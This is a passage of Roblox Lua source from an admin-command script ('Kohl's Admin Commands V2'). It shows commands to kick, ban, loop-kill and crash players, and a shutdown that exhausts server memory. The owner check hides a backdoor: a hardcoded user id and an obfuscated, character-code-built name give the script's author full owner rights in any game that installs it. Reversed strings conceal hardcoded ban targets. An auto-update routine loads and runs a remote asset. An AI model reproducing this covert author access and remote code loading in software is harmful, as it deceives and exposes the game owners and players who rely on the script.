local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
2222
local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
2223
if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
2224
tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
2225
cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
2226
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
2227
end
2228
2229
end
2230
2231
--------------------
2232
-- Owner Commands --
2233
--------------------
2234
2235
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
2236
2237
if msg:lower():sub(1,3) == "pa " then
2238
local plrz = GetPlr(plr, msg:lower():sub(4))
2239
for i, v in pairs(plrz) do
2240
coroutine.resume(coroutine.create(function()
2241
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2242
end))
2243
end
2244
end
2245
2246
if msg:lower():sub(1,5) == "unpa " then
2247
for i = 1, #admins do
2248
coroutine.resume(coroutine.create(function()
2249
if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
2250
end))
2251
end
2252
end
2253
2254
if msg:lower():sub(1,5) == "nuke " then
2255
local plrz = GetPlr(plr, msg:lower():sub(6))
2256
for i, v in pairs(plrz) do
2257
coroutine.resume(coroutine.create(function()
2258
if v and v.Character and v.Character:findFirstChild("Torso") then
2259
local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
2260
p.Anchored = true
2261
p.CanCollide = false
2262
p.formFactor = "Symmetric"
2263
p.Shape = "Ball"
2264
p.Size = Vector3.new(1,1,1)
2265
p.BrickColor = BrickColor.new("New Yeller")
2266
p.Transparency = .5
2267
p.Reflectance = .2
2268
p.TopSurface = 0
2269
p.BottomSurface = 0
2270
p.Touched:connect(function(hit)
2271
if hit and hit.Parent then
2272
local ex = Instance.new("Explosion", game.Workspace)
2273
ex.Position = hit.Position
2274
ex.BlastRadius = 11
2275
ex.BlastPressure = math.huge
2276
end
2277
end)
2278
local cf = v.Character.Torso.CFrame
2279
p.CFrame = cf
2280
for i = 1, 333 do
2281
p.Size = p.Size + Vector3.new(3,3,3)
2282
p.CFrame = cf
2283
wait(1/44)
2284
end
2285
p:Destroy()
2286
end
2287
end))
2288
end
2289
end
2290
2291
end
2292
2293
--------------------------
2294
-- Super Admin Commands --
2295
--------------------------
2296
2297
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
2298
2299
if msg:lower() == "logs" then
2300
if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
2301
local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
2302
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
2303
end
2304
	
2305
if msg:lower():sub(1,9) == "loopkill " then
2306
local chk1 = msg:lower():sub(10):find(" ")
2307
local plrz = GetPlr(plr, msg:lower():sub(10))
2308
local num = 9999
2309
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
2310
for i, v in pairs(plrz) do
2311
if v and not ChkAdmin(v.Name, false) then
2312
local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
2313
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2314
for i = 1, ]] .. tostring(num) .. [[ do 
2315
repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
2316
coroutine.resume(coroutine.create(function()
2317
if plr and plr.Character then plr.Character:BreakJoints() end
2318
end))
2319
end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2320
end
2321
end
2322
end
2323
2324
if msg:lower():sub(1,11) == "unloopkill " then
2325
local plrz = GetPlr(plr, msg:lower():sub(12))
2326
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2327
end
2328
2329
if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
2330
if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
2331
2332
if msg:lower():sub(1,3) == "sm " then
2333
Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
2334
end
2335
2336
if msg:lower():sub(1,3) == "ko " then
2337
local chk1 = msg:lower():sub(4):find(" ") + 3
2338
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
2339
local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
2340
for n = 1, num do
2341
for i, v in pairs(plrz) do
2342
coroutine.resume(coroutine.create(function()
2343
if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then 
2344
local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
2345
v.Character:BreakJoints() 
2346
wait(1/44) 
2347
v:LoadCharacter()
2348
wait(1/44) 
2349
end
2350
end))
2351
end
2352
end
2353
end
2354
2355
if msg:lower():sub(1,6) == "crash " then
2356
local plrz = GetPlr(plr, msg:lower():sub(7))
2357
for i, v in pairs(plrz) do
2358
coroutine.resume(coroutine.create(function()
2359
if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
2360
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
2361
end
2362
end))
2363
end
2364
end
2365
2366
if msg:lower():sub(1,5) == "kick " then
2367
local plrz = GetPlr(plr, msg:lower():sub(6))
2368
for i, v in pairs(plrz) do
2369
coroutine.resume(coroutine.create(function()
2370
if v and not ChkAdmin(v.Name, false) then v:Destroy() end
2371
end))
2372
end
2373
end
2374
2375
if msg:lower():sub(1,6) == "admin " then
2376
local plrz = GetPlr(plr, msg:lower():sub(7))
2377
for i, v in pairs(plrz) do
2378
coroutine.resume(coroutine.create(function()
2379
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2380
end))
2381
end
2382
end
2383
2384
if msg:lower():sub(1,8) == "unadmin " then
2385
for i = 1, #tempadmins do
2386
coroutine.resume(coroutine.create(function()
2387
if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
2388
end))
2389
end
2390
end
2391
2392
if msg:lower():sub(1,4) == "ban " then
2393
local plrz = GetPlr(plr, msg:lower():sub(5))
2394
for i, v in pairs(plrz) do
2395
coroutine.resume(coroutine.create(function()
2396
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
2397
end))
2398
end
2399
end
2400
2401
if msg:lower():sub(1,6) == "unban " then
2402
for i = 1, #banland do
2403
coroutine.resume(coroutine.create(function()
2404
if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
2405
end))
2406
end
2407
end
2408
2409
if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
2410
2411
end
2412
end))
2413
end
2414
2415
function AdminControl(plr)
2416
coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
2417
if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
2418
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
2419
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
2420
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
2421
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
2422
end)) end
2423
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2424
coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
2425
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2426
coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
2427
coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
2428
plr.Chatted:connect(function(msg) Chat(msg,plr) end)
2429
end
2430
2431
if not ntab then script:Destroy() end
2432
if not bct then script:Destroy() end
2433
2434
local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
2435
2436
script.Name = "Kohl's Admin Commands V2"
2437
2438
if not ntab then script:Destroy() end
2439
if not bct then script:Destroy() end
2440
if not tcb then script:Destroy() end
2441
game.Players.PlayerAdded:connect(AdminControl)
2442
for i, v in pairs(game.Players:children()) do AdminControl(v) end
2443
end
2444
2445
local mod = game:service("InsertService"):LoadAsset(100808216)
2446
if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then 
2447
local newac = mod:findFirstChild("Kohl's Admin Commands V2")
2448
newac.Disabled = true
2449
local new = tonumber(mod:findFirstChild("Version", true).Value)
2450
local old = 0
2451
if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
2452
if new > old then
2453
local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
2454
for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
2455
for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
2456
for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
2457
for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
2458
local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
2459
local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
2460
local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
2461
local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
2462
local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
2463
local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
2464
local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
2465
wait()
2466
newac.Parent = game.Workspace
2467
newac.Disabled = false
2468
script.Disabled = true
2469
script:Destroy()
2470
else
2471
CHEESE()
2472
end
2473
else
2474
CHEESE()
2475
end